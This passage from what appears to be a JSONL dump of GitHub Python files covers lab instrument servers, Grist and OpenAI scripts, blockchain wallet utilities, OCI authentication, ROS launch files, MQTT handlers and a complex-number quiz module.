Mode\"\"\"\n dev = self.selectedDevice(c)\n yield dev.activate_list_mode(state)\n# if bool(state):\n# #make sure the list goes to the first index after programming\n# print 'resetting'\n# yield dev.reset_list()\n \n @setting(14,\"Reset List\", returns = '')\n def reset_list(self, c):\n \"\"\"Reset the List for List Mode\"\"\"\n dev = self.selectedDevice(c)\n yield dev.reset_list()\n \n @setting(15,\"New List\", inputs = '*(vv)', name = 's', returns = '')\n def make_new_list(self, c, inputs, name = 'unnamed'):\n \"\"\"Make a new list, input is a list of tuples in the form (freq in Mhz, power in dBm)\"\"\"\n dev = self.selectedDevice(c)\n yield dev.make_new_list(inputs.astuple, name)\n \n \n @setting(16,\"Set Phase\", phase = 'v', returns = '')\n def set_phase(self, c, phase):\n \"\"\"Sets the phase of the output, useful for phase locked applications\"\"\"\n dev = self.selectDevice(c)\n yield dev.set_phase(phase)\n\n__server__ = RohdeSchwarzServer()\n\nif __name__ == '__main__':\n from labrad import util\n util.runServer(__server__)\n","repo_name":"HaeffnerLab/Haeffner-Lab-LabRAD-Tools","sub_path":"gpibservers/rs_smb100a.py","file_name":"rs_smb100a.py","file_ext":"py","file_size_in_byte":6043,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"37"} +{"seq_id":"4754167097","text":"import argparse\nimport pathlib\nimport sys\nimport yaml\nimport logging\n\nimport pandas as pd\nfrom grist_api import GristDocAPI\n\nfrom cyoa_archives.grist.api import GristAPIWrapper\n\nlogger = logging.getLogger(__name__)\n\n# Parse args\nparser = argparse.ArgumentParser(\n description=\"Parse a subreddit for submissions using praw.\"\n)\nparser.add_argument(\"-c\", \"--config_file\", help=\"Configuration file to use\")\nargs = parser.parse_args()\nif args.config_file:\n filepath = pathlib.Path(args.config_file)\n try:\n with open(filepath) as f:\n config = yaml.safe_load(f)\n except OSError:\n print(f\"Could not read file: {filepath}\")\n sys.exit(1)\n\n\n# Set up API\napi = GristAPIWrapper.from_config(config.get('grist'))\n\nbackup_api = GristAPIWrapper.from_config(config.get('grist'))\nbackup_api.document_id = 'CENSORED'\nbackup_api.api = GristDocAPI(backup_api.document_id, server=backup_api.server_url, api_key=backup_api.api_key)\n\ngrist_pd = backup_api.fetch_table_pd('CYOAs', col_names=['id', 'pov', 'content_tags'])\n# print(grist_pd)\n\nresult_list = []\nfor index, row in grist_pd.iterrows():\n g_id = row['id']\n pov = row['pov']\n tags = row['content_tags']\n\n result_list.append({\n 'id': g_id,\n 'pov': pov,\n 'content_tags': tags\n })\n# print(result_list)\n\n# Update grist\napi.update_records('CYOAs', result_list, mock=False, prompt=True)\n","repo_name":"anonekama/cyoa-archives","sub_path":"code_snippets/fix_pov_contenttags.py","file_name":"fix_pov_contenttags.py","file_ext":"py","file_size_in_byte":1393,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"30846177085","text":"#!/usr/bin/env /Library/Frameworks/Python.framework/Versions/3.11/bin/python3\n\nimport openai\nimport pyperclip\nimport os\n\n# Retrieve OpenAI API key from environment variable\nopenai.api_key = os.environ.get('KMVAR_OPENAI_API_KEY')\n\n# Get text from clipboard\nhighlightedText = pyperclip.paste()\n\n# Prompt Specifics\nsystemMessage = \"You are an excellent summarizer.\"\npromptTemplate = f\"Summarize the following: {highlightedText}\"\n\nresponse = openai.ChatCompletion.create(\n model=\"gpt-3.5-turbo\",\n messages=[\n {\"role\": \"system\", \"content\": systemMessage},\n {\"role\": \"user\", \"content\": promptTemplate}\n ]\n)\n\n# Print the generated text to standard output\nprint(response.choices[0].message.content.strip())\n","repo_name":"OldmanRahul/Twitter-Shares","sub_path":"KM-OpenAi-Summarize.py","file_name":"KM-OpenAi-Summarize.py","file_ext":"py","file_size_in_byte":718,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"1439352728","text":"import json\nfrom Crypto.PublicKey import RSA\nfrom Crypto.Hash import SHA256\nfrom Crypto.Hash import RIPEMD160\nimport binascii\nimport hashlib\n\nclass Hash:\n\n @staticmethod\n def hash(block):\n \"\"\"\n Creates a SHA-256 hash of a Block\n :param block: Block\n \"\"\"\n\n # We must make sure that the Dictionary is Ordered, or we'll have inconsistent hashes\n block_string = json.dumps(block, sort_keys=True).encode()\n return hashlib.sha256(block_string).hexdigest()\n\n @staticmethod\n def calculate_hash(data, hash_function):\n \"\"\"\n function for creating hashes of keys for wallet generation\n returns a SHA256 or RIPEMD160 hash depending\n on the hash function selected in the function call.\n \"\"\"\n data = bytearray(data, \"utf-8\")\n if hash_function == \"sha256\":\n h = SHA256.new()\n h.update(data)\n return h.hexdigest()\n if hash_function == \"ripemd160\":\n h = RIPEMD160.new()\n h.update(data)\n return h.hexdigest()\n\nclass Write:\n\n @staticmethod\n def write_json_wallet(data, mode, filename='data/wallet.json'):\n \"\"\"\n write a generated wallet to wallet.json\n \"\"\"\n # opens the file in write mode\n with open(filename, mode) as file:\n block_dict = json.dumps(data, indent=6)\n file.write(block_dict)\n\n @staticmethod\n def write_chain(data, filename='data/chain.json'):\n \"\"\"\n appends block to chain.json\n \"\"\"\n # opens the file in append mode\n with open(filename, 'a') as file:\n block_dict = json.dumps(data)\n file.write(block_dict)\n file.write('\\n')\n\nclass Generate:\n @staticmethod\n def generate_wallet():\n \"\"\"\n function for the generation of wallets\n \"\"\"\n private_key = RSA.generate(4096)\n private_key_plain = private_key.export_key(\"PEM\")\n public_key_plain = private_key.publickey().export_key(\"PEM\")\n public_key = private_key.publickey().export_key(\"DER\")\n public_key_hex = binascii.hexlify(public_key).decode(\"utf-8\")\n public_key_hash = Hash.calculate_hash(Hash.calculate_hash(public_key_hex, hash_function=\"sha256\"),\n hash_function=\"ripemd160\")\n\n wallet_data = {\n 'private key': private_key_plain.decode(),\n 'public key': public_key_plain.decode(),\n 'public key hex': public_key_hex,\n 'public key hash': public_key_hash\n }\n Write.write_json_wallet(data=wallet_data, mode='w')\n\n\nHash()\n","repo_name":"ock666/Serpentcoin","sub_path":"src/utilities.py","file_name":"utilities.py","file_ext":"py","file_size_in_byte":2656,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"37"} +{"seq_id":"38983720229","text":"import cv2\nimport numpy as np\n\ncam = cv2.VideoCapture(\"http://192.168.43.1:7777/video?x.mjpg\") #use your own IP address or\n#for webcam use 0 or other external camera use 1\nwidth = int(cam.get(cv2.CAP_PROP_FRAME_WIDTH))\nheight = int(cam.get(cv2.CAP_PROP_FRAME_HEIGHT))\nfourcc = cv2.VideoWriter_fourcc(*'XVID')\nvid = cv2.VideoWriter('output.avi', fourcc, 10, (width,height))\nprint(width)\nprint(height)\n\nwhile(True):\n tf, frame = cam.read()\n vid.write(frame)\n cv2.imshow('Single Frame',frame)\n key = cv2.waitKey(1)\n if key == 27: #esc key\n break\n elif key == ord('x'):\n print(\"You have pressed the letter X\")\n\ncam.release()\nvid.release()\ncv2.destroyAllWindows()\n","repo_name":"Omprakash76/Capture_video_From_CCTV","sub_path":"capture.py","file_name":"capture.py","file_ext":"py","file_size_in_byte":691,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"7050385911","text":"\n#OBJECTIVE:\n# Create a script that takes a command line input, converts that command line inpute to snake case, then makes that\n# command line input the filename and title of a new file in my feynman_technique folder in my vault. The script will\n# then append 3 lines of space, followed by the text \"press R to insert explanation here,\" followed by 3 more lines of\n# space. This will then do the same thing with a simplified explanation.\n\n#Modules\nimport os\n\n# Take command line input of concept to be learned\n\ndef concept_input():\n\tconcept = str(input(\"What concept would you like to learn? \"))\n\treturn (concept)\n\n# print(concept_input())\n\n\n# Convert to snake case\n\ndef sneky_case(string):\n string = list(string);\n n = len(string);\n \n for i in range(n) :\n if (string[i] == \" \") :\n string[i] = \"_\" ;\n\n else:\n string[i] = string[i].lower();\n\n string = \"\".join(string)\n return string\n\nprint(sneky_case(\"Poopy Goopy Doopy\"))\n# print(sneky_case(concept_input))\n\n\n# Make snake case phrase into file name, as well as append date\n\n\n# Append original name, date in Month/dd/yyyy format, 3 blank lines, \"Complex Description\", <Insert Text here with 'R'>, 3 blank lines, \"Simplified Description\", <Insert Text here with 'R'>\n\n\n\n# Vim filename starting at appropriate line, most likely <Insert> under Complex Description.\n\n","repo_name":"cmaxreilly/shell_scripts","sub_path":"feyn.py","file_name":"feyn.py","file_ext":"py","file_size_in_byte":1367,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"7885017651","text":"import oci\nimport os\n\n##########################################################################\n# Create signer for Authentication\n# Input - config_profile and is_instance_principals and is_delegation_token\n# Output - config and signer objects\n##########################################################################\ndef create_signer(config_profile, is_instance_principals, is_delegation_token):\n\n # if instance principals authentications\n if is_instance_principals:\n try:\n signer = oci.auth.signers.InstancePrincipalsSecurityTokenSigner()\n config = {'region': signer.region, 'tenancy': signer.tenancy_id}\n return config, signer\n\n except Exception:\n print_header(\"Error obtaining instance principals certificate, aborting\")\n raise SystemExit\n\n # -----------------------------\n # Delegation Token\n # -----------------------------\n elif is_delegation_token:\n\n try:\n # check if env variables OCI_CONFIG_FILE, OCI_CONFIG_PROFILE exist and use them\n env_config_file = os.environ.get('OCI_CONFIG_FILE')\n env_config_section = os.environ.get('OCI_CONFIG_PROFILE')\n\n # check if file exist\n if env_config_file is None or env_config_section is None:\n MakeLog(\"*** OCI_CONFIG_FILE and OCI_CONFIG_PROFILE env variables not found, abort. ***\")\n MakeLog(\"\")\n raise SystemExit\n\n config = oci.config.from_file(env_config_file, env_config_section)\n delegation_token_location = config[\"delegation_token_file\"]\n\n with open(delegation_token_location, 'r') as delegation_token_file:\n delegation_token = delegation_token_file.read().strip()\n # get signer from delegation token\n signer = oci.auth.signers.InstancePrincipalsDelegationTokenSigner(delegation_token=delegation_token)\n\n return config, signer\n\n except KeyError:\n MakeLog(\"* Key Error obtaining delegation_token_file\")\n raise SystemExit\n\n except Exception:\n raise\n\n # -----------------------------\n # config file authentication\n # -----------------------------\n else:\n config = oci.config.from_file(\n oci.config.DEFAULT_LOCATION,\n (config_profile if config_profile else oci.config.DEFAULT_PROFILE)\n )\n signer = oci.signer.Signer(\n tenancy=config[\"tenancy\"],\n user=config[\"user\"],\n fingerprint=config[\"fingerprint\"],\n private_key_file_location=config.get(\"key_file\"),\n pass_phrase=oci.config.get_config_value_or_default(config, \"pass_phrase\"),\n private_key_content=config.get(\"key_content\")\n )\n return config, signer\n","repo_name":"AnykeyNL/OCI-AutoScale","sub_path":"OCIFunctions.py","file_name":"OCIFunctions.py","file_ext":"py","file_size_in_byte":2825,"program_lang":"python","lang":"en","doc_type":"code","stars":99,"dataset":"github-code","pt":"37"} +{"seq_id":"13575976372","text":"from potential import *\nimport os\nimport time\nimport subprocess\n\ndef RecordSpec(N):\n Theta = np.linspace(-1, 1, N) #cos(theta)\n os.chdir(r'C:\\Users\\USER\\Desktop\\Xe-O2 Level')\n spec=open(r\"C:\\Users\\USER\\Desktop\\Xe-O2 Level\\Spectrum(theta)1.txt\",'w')\n for theta in Theta:\n print(theta)\n PES(10**4, r=-1, th = theta )\n file = open(r\"C:\\Users\\USER\\Desktop\\Xe-O2 Level\\Level.input.txt\",'r')\n f=file.readlines() # заменить нужно с 9 строки по 10008 включительно для N=10**4\n file.close()\n surf = open(r\"C:\\Users\\USER\\Desktop\\Xe-O2 Level\\Potential.txt\",'r')\n s = surf.readlines()\n surf.close()\n f[9:10009] = s[::]\n file = open(r\"C:\\Users\\USER\\Desktop\\Xe-O2 Level\\Level.input.txt\",'w')\n file.writelines(f)\n file.close()\n # os.startfile(r'C:\\Users\\USER\\Desktop\\Xe-O2 Level\\Level.bat')\n os.system(r'start Level.bat')\n time.sleep(3)\n file=open(r\"C:\\Users\\USER\\Desktop\\Xe-O2 Level\\fort.7\",'r')\n f=file.readlines() #спектр находится с 3-ей позиции до конца\n file.close()\n for i in f[3:]:\n spec.writelines(i.strip().split()[2]+' ')\n spec.write('\\n')\n\n spec.close()\n","repo_name":"ethylking/partition_function_Xe-O2","sub_path":"RecordSpectra.py","file_name":"RecordSpectra.py","file_ext":"py","file_size_in_byte":1286,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"3937493764","text":"import random\n\na = 1\nb = 2**10\n\nwhile True:\n # num = random.randint(a, b)\n num = int((a+b)/2)\n ans = input(f\"is it {num}? (+, -, y)\")\n\n if ans == '-':\n b = num\n elif ans == '+':\n a = num\n else:\n print(f\"it's {num}\")\n break\n","repo_name":"pymft/mft-01","sub_path":"S05/intro_to_stdlib/computer_guess_the_number.py","file_name":"computer_guess_the_number.py","file_ext":"py","file_size_in_byte":269,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"8652410095","text":"#!/usr/bin/python3\n\n\"\"\"\nPrint the state object id\n\"\"\"\n\nimport sys\nfrom model_state import Base, State\n\nfrom sqlalchemy import create_engine\nfrom sqlalchemy.orm import Session\n\nif __name__ == \"__main__\":\n engine = create_engine(\n \"mysql+mysqldb://{}:{}@localhost/{}\".format(\n sys.argv[1], sys.argv[2], sys.argv[3]\n ),\n pool_pre_ping=True,\n )\n Base.metadata.create_all(engine)\n\n session = Session(engine)\n found = False\n for state in (\n session.query(State).filter(State.name == sys.argv[4]).\n order_by(State.id)\n ):\n if state:\n print(f\"{state.id}\")\n found = True\n break\n if not found:\n print(\"Not found\")\n session.close()\n","repo_name":"Camaltra/holbertonschool-higher_level_programming","sub_path":"0x0F-python-object_relational_mapping/10-model_state_my_get.py","file_name":"10-model_state_my_get.py","file_ext":"py","file_size_in_byte":741,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"22707923645","text":"import os\n\nfrom ament_index_python.packages import get_package_share_directory\n\n\nfrom launch import LaunchDescription\nfrom launch.actions import IncludeLaunchDescription, TimerAction\nfrom launch.launch_description_sources import PythonLaunchDescriptionSource\n\nfrom launch_ros.actions import Node\nfrom launch.substitutions import Command\nfrom launch_ros.descriptions import ParameterValue\n\nfrom launch.actions import RegisterEventHandler\nfrom launch.event_handlers import OnProcessStart\n\ndef generate_launch_description():\n package_name='oscar_ros'\n\n rsp = IncludeLaunchDescription(\n PythonLaunchDescriptionSource([os.path.join(\n get_package_share_directory(package_name),'launch','rsp.launch.py'\n )]), launch_arguments={'use_sim_time': 'True', 'use_ros2_control': 'True'}.items()\n )\n\n robot_description = Command(['ros2 param get --hide-type /robot_state_publisher robot_description'])\n\n controller_params_file = os.path.join(get_package_share_directory(package_name),'config','my_controllers.yaml')\n\n controller_manager = Node(\n package=\"controller_manager\",\n executable=\"ros2_control_node\",\n parameters=[{'robot_description': ParameterValue(robot_description, value_type=str)},\n controller_params_file, {'use_sim_time': True}]\n )\n\n delayed_controller_manager = TimerAction(period=0.5, actions=[controller_manager])\n\n diff_drive_spawner = Node(\n package=\"controller_manager\",\n executable=\"spawner\",\n arguments=[\"diff_cont\"],\n )\n\n delayed_diff_drive_spawner = RegisterEventHandler(\n event_handler=OnProcessStart(\n target_action=controller_manager,\n on_start=[diff_drive_spawner],\n )\n )\n\n joint_broad_spawner = Node(\n package=\"controller_manager\",\n executable=\"spawner\",\n arguments=[\"joint_broad\"],\n )\n\n delayed_joint_broad_spawner = RegisterEventHandler(\n event_handler=OnProcessStart(\n target_action=controller_manager,\n on_start=[joint_broad_spawner],\n )\n )\n robot_localization_node = Node(\n package='robot_localization',\n executable='ekf_node',\n name='ekf_filter_node',\n output='screen',\n parameters=[os.path.join(get_package_share_directory(package_name), 'config/ekf.yaml'), {'use_sim_time': True}]\n )\n\n delayed_robot_localization_spawner = RegisterEventHandler(\n event_handler=OnProcessStart(\n target_action=diff_drive_spawner,\n on_start=[robot_localization_node],\n )\n )\n\n\n # Launch them all!\n return LaunchDescription([\n rsp,\n delayed_controller_manager,\n delayed_diff_drive_spawner,\n delayed_joint_broad_spawner,\n delayed_robot_localization_spawner\n ])\n","repo_name":"brow1633/oscar_ros","sub_path":"launch/launch_sim.launch.py","file_name":"launch_sim.launch.py","file_ext":"py","file_size_in_byte":3019,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"32719436685","text":"import gdb\n\n\nclass QuitCommand(gdb.Command):\n\n _quit_tpl = 'quit {code}'.format\n _error = '128+$_siginfo.si_signo'\n _code = '$_exitcode'\n\n def __init__(self):\n super().__init__('quit_command', gdb.COMMAND_NONE)\n\n def invoke(self, _, from_tty):\n sig_info = gdb.parse_and_eval('$_siginfo')\n code = self._code if sig_info.type.name == 'void' else self._error\n gdb.execute(self._quit_tpl(code=code), from_tty=from_tty)\n\n\nclass InitCommand(gdb.Command):\n\n _init_commands = (\n 'handle SIG38 nostop noprint pass',\n 'set breakpoint pending on',\n 'set confirm off',\n 'set prompt',\n 'maint set internal-error quit yes',\n 'maint set internal-error corefile no',\n 'set backtrace limit 25',\n 'set print elements 10',\n 'set python print-stack full',\n 'set trace-commands on',\n 'set overload-resolution off',\n )\n\n def __init__(self):\n super().__init__('init_command', gdb.COMMAND_NONE)\n\n def invoke(self, _, from_tty):\n for command in self._init_commands:\n gdb.execute(command, from_tty=from_tty)\n\n\nInitCommand()\nQuitCommand()\n\n\n# '-ex', 'print $_siginfo',\n# '-ex', 'info locals',\n# '-ex', 'info registers',\n# '-ex', 'backtrace full',\n# '-ex', 'disassemble',\n# '-ex', 'symbol-file',\n# '-ex', 'sharedlibrary',\n# '-ex', 'info proc mappings',\n# '-ex', 'info threads',\n# '-ex', 'shared',\n# '-ex', 'info sharedlibrary',\n# gdb.execute('info sharedlibrary', from_tty=from_tty, to_string=True)\n# gdb.execute('info registers', from_tty=from_tty, to_string=True)\n","repo_name":"PrVrSs/eibon","sub_path":"eibon/gdb_commands.py","file_name":"gdb_commands.py","file_ext":"py","file_size_in_byte":1595,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"38910294055","text":"import json\nimport topics\nimport datetime\nimport pytz\nimport time\n\n\nclass Handler:\n def __init__(self):\n pass\n\n def set_mqtt_client(self, mqtt):\n self.mqtt_client = mqtt.client\n\n def set_basil_database(self, mongodbclient):\n self.basil_db = mongodbclient.basil_db\n self.moisture_sensor_reading = self.basil_db.moisture_sensor_reading\n self.pump_water_status = self.basil_db.pump_water_status\n\n def moisture_analog_topic(self, topic, msg):\n # FIXME: For some reasons json.loads converting string to string, not dict\n # As a workaround I am being forced to call it twice\n # Find what's the bug, and fix it.\n json_msg = json.loads(json.loads(msg))\n # In embedded systems, epoch time is from year 2000, that's why +946684800\n json_msg[\"timestamp\"] = json_msg[\"timestamp\"]+946684800\n try:\n id = self.moisture_sensor_reading.insert_one(json_msg).inserted_id\n print(\"New Moisture sensor reading added\", id)\n except Exception as e:\n print(\"Error while inserting moisture sensor reading\", e)\n raise(e)\n\n def pump_water_topic(self, topic, msg):\n # FIXME: For some reasons json.loads converting string to string, not dict\n # As a workaround I am being forced to call it twice\n # Find what's the bug, and fix it.\n json_msg = json.loads(json.loads(msg))\n # In embedded systems, epoch time is from year 2000, that's why +946684800\n json_msg[\"timestamp\"] = json_msg[\"timestamp\"]+946684800\n try:\n id = self.pump_water_status.insert_one(json_msg).inserted_id\n print(\"New pump water status added\", id)\n except Exception as e:\n print(\"Error while inserting pump water status\", e)\n raise(e)\n\n def set_moisture_reading_frequency(self, frequency=30):\n json_msg = {\n \"frequency\": frequency\n }\n try:\n print(\"Publishing set moisture read frequency command\")\n self.mqtt_client.publish(\n topics.BASIL_MOISTURE_FREQ_COMMAND_TOPIC, json.dumps(json_msg))\n except Exception as e:\n print(\"Error while publishing set moisture read frequency with msg\", json_msg)\n\n def start_pump(self, duration=0):\n json_msg = {\n \"command\": \"ON\",\n \"duration\": duration\n }\n try:\n print(\"Publishing start pump command\")\n self.mqtt_client.publish(\n topics.PUMP_ONOFF_COMMAND_TOPIC, json.dumps(json_msg))\n except Exception as e:\n print(\"Error while publishing start pump comamnd with msg\", json_msg)\n\n def stop_pump(self):\n json_msg = {\n \"command\": \"OFF\",\n }\n try:\n print(\"Publishing stop pump command\")\n self.mqtt_client.publish(\n topics.PUMP_ONOFF_COMMAND_TOPIC, json.dumps(json_msg))\n except Exception as e:\n print(\"Error while publishing stop pump comamnd with msg\", json_msg)\n\n def get_moisture_reading_data(self, from_time, interval=\"hourly\"):\n common_pipeline = [\n {\n \"$match\": {\n \"timestamp\": {\"$gt\": from_time},\n }\n },\n {\n \"$project\": {\n \"timestamp\": {\n \"$toDate\": {\n \"$multiply\": [\n '$timestamp', 1000]\n }\n },\n \"analog_value\":1,\n \"moisture_level\":1\n }\n },\n ]\n pipeline = {\n \"minutely\": [\n *common_pipeline,\n {\n \"$project\": {\n \"timestamp\": 1, \"timestampMinute\": {\n \"$minute\": \"$timestamp\"\n },\n \"timestampHour\": {\n \"$hour\": \"$timestamp\"\n }, \"analog_value\": 1, \"moisture_level\": 1\n }\n },\n {\n \"$group\": {\n \"_id\": {\n \"minute\": \"$timestampMinute\",\n \"hour\": \"$timestampHour\"\n },\n \"value\": {\n \"$avg\": \"$analog_value\"\n }\n }\n },\n {\n \"$sort\": {\n \"_id.hour\": 1, \"_id.minute\": 1\n }\n }\n ],\n \"hourly\": [\n *common_pipeline,\n {\n \"$project\": {\n \"timestamp\": 1,\n \"timestampHour\": {\n \"$hour\": \"$timestamp\"\n },\n \"timestampDay\": {\n \"$dayOfMonth\": \"$timestamp\"\n },\n \"analog_value\": 1,\n \"moisture_level\": 1\n }\n },\n {\n \"$group\": {\n \"_id\": {\n \"hour\": \"$timestampHour\",\n \"day\": \"$timestampDay\"\n },\n \"value\": {\n \"$avg\": \"$analog_value\"\n }\n }\n },\n {\n \"$sort\": {\n \"_id.day\": 1, \"_id.hour\": 1\n }\n }\n ]\n }\n data = self.moisture_sensor_reading.aggregate(pipeline[interval])\n return list(data)\n\n def get_water_status(self, count):\n data = self.pump_water_status.find({}).sort(\"timestamp\").limit(count)\n return map(lambda x: {\"timestamp\": time.strftime('%d %b %H:%M', time.localtime(x[\"timestamp\"])), \"duration\": x[\"duration\"]}, list(data))\n","repo_name":"itachiRedhair/smart-plant","sub_path":"web/handlers.py","file_name":"handlers.py","file_ext":"py","file_size_in_byte":6093,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"16116202386","text":"from PyQt4.QtGui import QTextEdit, QSizePolicy, QWidget\nfrom PyQt4.QtCore import QSize\nfrom lunchinator.log.logging_slot import loggingSlot\n\nclass GrowingTextEdit(QTextEdit):\n def __init__(self, parent, heightMax = 1000):\n super(GrowingTextEdit, self).__init__(parent) \n self.document().contentsChanged.connect(self.sizeChange)\n\n self.heightMin = 0\n self.heightMax = heightMax\n self.setSizePolicy(QSizePolicy.MinimumExpanding, QSizePolicy.Maximum)\n self.sizeChange()\n\n def resizeEvent(self, event):\n self.sizeChange()\n return super(GrowingTextEdit, self).resizeEvent(event)\n\n def setDocHeight(self, height):\n self.setMinimumHeight(height)\n self.setMaximumHeight(height)\n\n @loggingSlot()\n def sizeChange(self):\n docHeight = self.document().size().height()\n if self.heightMin <= docHeight <= self.heightMax:\n self.setDocHeight(docHeight + 2)\n elif docHeight < self.heightMin:\n self.setDocHeight(self.heightMin)\n else:\n self.setDocHeight(self.heightMax)\n \n def setVisible(self, *args, **kwargs):\n QTextEdit.setVisible(self, *args, **kwargs)\n self.sizeChange()\n \n def sizeHint(self):\n return QSize(QWidget.sizeHint(self).width(), self.minimumHeight())\n \n","repo_name":"hannesrauhe/lunchinator","sub_path":"lunchinator/growing_text_edit.py","file_name":"growing_text_edit.py","file_ext":"py","file_size_in_byte":1349,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"30181690596","text":"import requests\n\n# for getting the coordinate of particular address, mapquest api is used\n\n# API Secret Key\ncoordinateApiKey = \"zQ85GG9vCz4xzvnERTYULLpsseGstaok\"\n\n# API end point with query ?location=\ncoordinateApi = f\"http://www.mapquestapi.com/geocoding/v1/address?key={coordinateApiKey}&location=\"\n\n\n# it returns the address information along with coordinates and address \n# It's take 3 parameter and use them as location query for api \n\ndef getCoordinate(name, addressLine, city, state):\n mainCoordinateApi = f\" {coordinateApi}{addressLine},{city},{state}\"\n r = requests.get(mainCoordinateApi)\n locationData = r.json()[\"results\"][0][\"locations\"][0]\n return locationData","repo_name":"DhamaniSaranya/Address-Book-FastApi","sub_path":"app/get_Coordinates.py","file_name":"get_Coordinates.py","file_ext":"py","file_size_in_byte":685,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"35874403189","text":"#Task 2\npl = int(input('Количество тарелок: '))\nsr = int(input('Количество моющего средства: '))\ni = 0\nwhile sr > 0:\n pl = pl - 1\n sr = sr - 0.5\n i = i + 1\n\n print('Вымыто', i, 'тарелок. Осталось средства:', sr)\n\n if pl == 0:\n break\n \nprint('Моющее средство закончилось. Осталось', pl, 'невымытых тарелок') if pl > 0 else print('Все тарелки вымыты. Осталось неизрасходованного средства:', sr)\n","repo_name":"MNaugolnov/hw","sub_path":"hw1-2.py","file_name":"hw1-2.py","file_ext":"py","file_size_in_byte":586,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"73636332587","text":"#!/usr/bin/env python2\n# -*- coding: UTF-8 -*-\n\"\"\"\n Complexity: quizzes/the_modulus.py\n ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n Contains a quiz implementation (`Quiz`) for the modulus topic.\n\n\"\"\"\n\nimport random\n\nfrom flask import request\n\nfrom . import BaseQuiz\nfrom ..maths import *\nfrom ..maths.complex import (compute_modulus, compute_product,\n compute_divide)\nfrom ..errors import BadRequestError\n\nclass DuplicateAnswerError(Exception):\n pass\n\nclass MultipleChoiceQuestion(object):\n \"\"\"\n Inherited by questions with a multiple choice structure.\n\n Each question has three parts. For each part, a choice of\n three answers is provided; a correct one and two wrong ones.\n\n Once inherited the child class has to define the following\n instance varibles:\n\n :ivar data: Dictionary of variable definitions needed to answer\n the question.\n\n :ivar parts: A list of `tuple`s for each part of the question.\n The first element being the `MathOperand`\n representing the question and the second a list of\n `MathOperand`s containing the correct answer\n followed by two incorrect answers.\n \"\"\"\n def __init__(self):\n self.answered = False\n self.score = 0\n self.results = []\n\n # Cache Question.\n try:\n self.question\n except DuplicateAnswerError:\n self.__dict__ = {}\n self.__init__()\n\n @staticmethod\n def _make_part(part):\n \"\"\"\n Renders an randomises part and puts it into the correct\n format to be sent.\n\n :param part: A `tuple`, from `self.parts`.\n\n :returns: A `tuple` containing the rendered question, a\n shuffled list of the answers rendered and\n the index of the correct answer in that list.\n \"\"\"\n question, answers = part\n\n # Render the question.\n question = question.render()\n # Render the possible answers.\n answers = map(lambda expr: str(expr.render()), answers)\n\n if len(answers) != len(set(answers)):\n raise DuplicateAnswerError\n\n # Take out the correct answer.\n correct_answer = answers.pop(0)\n # Choose a random index.\n correct_answer_index = random.randrange(0, 3)\n # Place the correct answer in at that random index.\n answers.insert(correct_answer_index, correct_answer)\n\n return question, answers, correct_answer_index\n\n @property\n def question(self):\n \"\"\"\n :returns: A `tuple` of all `self.parts` rendered and ready\n to be sent.\n \"\"\"\n\n # Only generate if they have not been generated before.\n if not hasattr(self, '_question'):\n self._question = map(self._make_part, self.parts)\n\n return self._question\n\n def ask(self):\n \"\"\"\n :returns: The whole question to be asked with data.\n \"\"\"\n return dict(\n data=self.data,\n question=self.question\n )\n\n def answer(self, request_data):\n \"\"\"\n Answer the question.\n\n :param request_data: A dictionary containing the loaded\n data from JSON inside the request.\n\n :returns: The total score and results for the question.\n \"\"\"\n if self.answered:\n raise ValueError\n\n # Get the answer data.\n answer = request_data['answer']\n\n # Process each part.\n for i in xrange(len(self.parts)):\n\n correct = answer[i][0] == self._question[i][2]\n\n # Save result.\n self.results.append(correct)\n\n # If correct add 5 to the score.\n if correct:\n self.score += 5\n\n self.answered = True\n return self.score, self.results\n\n\nclass ModulusProductQuestion(MultipleChoiceQuestion):\n \"\"\"\n Question for the modulus's product.\n \"\"\"\n def __init__(self, *args, **kwargs):\n # Variables used to represent questions.\n self.z_var = MathsVariable('z')\n self.w_var = MathsVariable('w')\n self.zw_var = MathsExpression([\n self.z_var,\n self.w_var\n ],\n operators.multiply\n )\n\n # Per-Question random variable definitions.\n self.z = MathsComplexNumber(\n MathsRandomConstant(1, 11),\n MathsRandomConstant(1, 11)\n )\n self.w = MathsComplexNumber(\n MathsRandomConstant(1, 11),\n MathsRandomConstant(1, 11)\n )\n self.zw = compute_product(self.z, self.w)\n\n # Required `MultipleChoiceQuestion` instance varibles.\n self.data = dict(z=self.z.render(), w=self.w.render())\n self.parts = [self.part_one, self.part_two, self.part_three]\n\n # Call the inherited class's __init__\n super(ModulusProductQuestion, self).__init__(*args, **kwargs)\n\n @property\n def part_one(self):\n \"\"\"\n Part one of the question. What is 'zw'?\n \"\"\"\n\n # The answers are placed in a functions\n # to clearly separate the logic from the question.\n\n def answers():\n\n # Compute vars for random number generation.\n # For both the real part...\n step_re = int(self.zw.re * 0.1)\n if step_re < 1:\n step_re = 1\n start_re = int(self.zw.re - step_re*10)\n end_re = int(self.zw.re + step_re*10)\n\n # ....and imaginary part.\n step_im = int(self.zw.im * 0.1)\n if step_im < 1:\n step_im = 1\n start_im = int(self.zw.im - step_im*10)\n end_im = int(self.zw.im + step_im*10)\n\n # Generate wrong answers.\n 